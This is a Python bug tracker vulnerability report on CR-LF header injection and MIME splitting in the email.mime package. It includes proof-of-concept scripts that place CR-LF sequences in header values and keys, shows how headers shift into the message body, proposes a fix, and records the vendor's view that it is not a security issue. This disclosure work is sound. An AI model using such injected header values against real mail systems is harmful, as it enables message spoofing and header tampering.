[New-bugs-announce] [issue43123] email MIME splitting
Martin Ortner
report at bugs.python.org
Thu Feb 4 07:48:46 EST 2021
New submission from Martin Ortner <martin.ortner at consensys.net>:
// reported via PSRT email (see timeline)
// external reference: https://consensys.net/diligence/vulnerabilities/private/jcchhpke7usq8wo45vloy282phwpd9fj41imumhb8varxahz2bf9afw5mcno84gx/
cve:
vendor: python
vendorUrl: https://www.python.org/
authors: tintinweb
affectedVersions: [at least <= 3.8.3, <=3.7.7, <=2.7.18]
vulnClass: CWE-93
# Vulnerability Note
## Summary
>Python is a programming language that lets you work more quickly and integrate your systems more effectively.
The python `email.mime` package fails to properly encode or reject `CR-LF` control sequences in MIME header values allowing for MIME splitting and header injection attacks.
* `MIMEText[headerKey] = headerValue` - `headerValue` accepts `CR-LF` in the value, allowing an attacker in control of part of the header value to perform a MIME splitting attack.
* `MIMEText[headerKey] = headerValue` - `headerKey` is not checked for `CR-LF` allowing an attacker in control of part of a header key to inject arbitrary MIME headers.
* `MIMEText.add_header(headerKey, headerValue)` - `headerKey` is not checked for `CR-LF` allowing an attacker in control of part of a header key to inject arbitrary MIME headers.
## Details
### MIME-Splitting with `CR-LF` in header value:
* Note: `CR-LF` injection in `To` header pushes an invalid header and may force a MIME split (depending on the parsing library) pushing following header values into the body when being parsed with the `email.message_from_string()` method.
```python
# Import the email modules we'll need
from email.mime.text import MIMEText
# Open a plain text file for reading. For this example, assume that
# the text file contains only ASCII characters.
msg = MIMEText("REAL_MSG_BODY_BEGIN\n...\nREAL_MSG_BODY_END")
msg['Subject'] = 'The contents of is this...'
msg['To'] = "TO toAddress at oststrom.com\r\nX-SPLIT-MSG-TO-BODY\r\n"
msg['From'] = "FROM fromAddress at oststrom.com"
msg['MyHEader'] = "hi :: hi"
print(msg)
print(repr(msg))
print("=========================")
import email
msg = email.message_from_string(str(msg))
print(msg)
print("-> FROM: %s" % msg.get("From"))
print("-> TO: %s" % msg["To"])
print("-> MSG: " + repr(msg.get_payload()))
```
Output:
* Output before the `===========` is the constructed message
* Output after the `===========` is the parsed message
* Note: that after parsing the message some headers end up in the body (`from`, `myheader`). Note that `msg[from]` is empty.
```
⇒ python3 a.py
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: The contents of is this...
To: TO toAddress at oststrom.com
X-SPLIT-MSG-TO-BODY
From: FROM fromAddress at oststrom.com
MyHEader: hi :: hi
REAL_MSG_BODY_BEGIN
...
REAL_MSG_BODY_END
<email.mime.text.MIMEText object at 0x108842850>
=========================
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: The contents of is this...
To: TO toAddress at oststrom.com
X-SPLIT-MSG-TO-BODY
From: FROM fromAddress at oststrom.com
MyHEader: hi :: hi
REAL_MSG_BODY_BEGIN
...
REAL_MSG_BODY_END
-> FROM: None
-> TO: TO toAddress at oststrom.com
-> MSG: 'X-SPLIT-MSG-TO-BODY\nFrom: FROM fromAddress at oststrom.com\nMyHEader: hi :: hi\n\nREAL_MSG_BODY_BEGIN\n...\nREAL_MSG_BODY_END'
```
### `CR-LF` injection in header keys.
Note: this is unlikely to be exploited, however, there might be scenarios where part of the header key is exposed to user input. A `CR-LF` character in the header key should throw instead.
```python
# Import the email modules we'll need
from email.mime.text import MIMEText
# Open a plain text file for reading. For this example, assume that
# the text file contains only ASCII characters.
msg = MIMEText("REAL_MSG_BODY_BEGIN\n...\nREAL_MSG_BODY_END")
# me == the sender's email address
# you == the recipient's email address
msg['Subject'] = 'The contents of is this...'
msg['To'] = "TO toAddress at oststrom.com"
msg['From'] = "FROM fromAddress at oststrom.com"
msg['MyHEader'] = "hi :: hi"
msg["m\r\nh"] = "yo"
print(msg)
print(repr(msg))
print("=========================")
import email
msg = email.message_from_string(str(msg))
msg.add_header("CUSTOM-HEADER: yo\r\n\nX-INJECTED: injected-header\r\naa","data")
print(msg)
print("-> FROM: %s" % msg.get("From"))
print("-> TO: %s" % msg["To"])
print("-> MSG: " + repr(msg.get_payload()))
```
Output: `h: yo` and `X-INJECTED:` are injected
```
⇒ python3 a.py
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: The contents of is this...
To: TO toAddress at oststrom.com
From: FROM fromAddress at oststrom.com
MyHEader: hi :: hi
m
h: yo
REAL_MSG_BODY_BEGIN
...
REAL_MSG_BODY_END
<email.mime.text.MIMEText object at 0x10076d850>
=========================
Content-Type: text/plain; charset="us-ascii"
MIME-Version: 1.0
Content-Transfer-Encoding: 7bit
Subject: The contents of is this...
To: TO toAddress at oststrom.com
From: FROM fromAddress at oststrom.com
MyHEader: hi :: hi
CUSTOM-HEADER: yo
X-INJECTED: injected-header
aa: data
m
h: yo
REAL_MSG_BODY_BEGIN
...
REAL_MSG_BODY_END
-> FROM: FROM fromAddress at oststrom.com
-> TO: TO toAddress at oststrom.com
-> MSG: 'm\r\nh: yo\n\nREAL_MSG_BODY_BEGIN\n...\nREAL_MSG_BODY_END'
```
## Proposed Fix
- reject `\n` in header keys
- encode `\n` in header values to `\n\s+...` to signal a continuation of the header value. reject `\n+`
## Vendor Response
Vendor response:
```
I discussed the vulnerability in private with one of the email module
maintainers and he considers that it's not a vulnerability.
Would you mind opening a public issue at https://bugs.python.org/ so
the discussion can be recorded in public?
Victor
```
### Timeline
```
JUL/02/2020 - contact psrt; provided details, PoC, proposed patch
AUG/20/2020 - vendor response: forwarded to maintainer of module
SEP/15/2020 - vendor response: not a security issue
```
## References
* [1] https://www.python.org/
* [2] https://www.python.org/downloads/
----------
components: email
messages: 386479
nosy: barry, martin.ortner, r.david.murray
priority: normal
severity: normal
status: open
title: email MIME splitting
type: security
versions: Python 3.10, Python 3.6, Python 3.7, Python 3.8, Python 3.9
_______________________________________
Python tracker <report at bugs.python.org>
<https://bugs.python.org/issue43123>
_______________________________________
More information about the New-bugs-announce
mailing list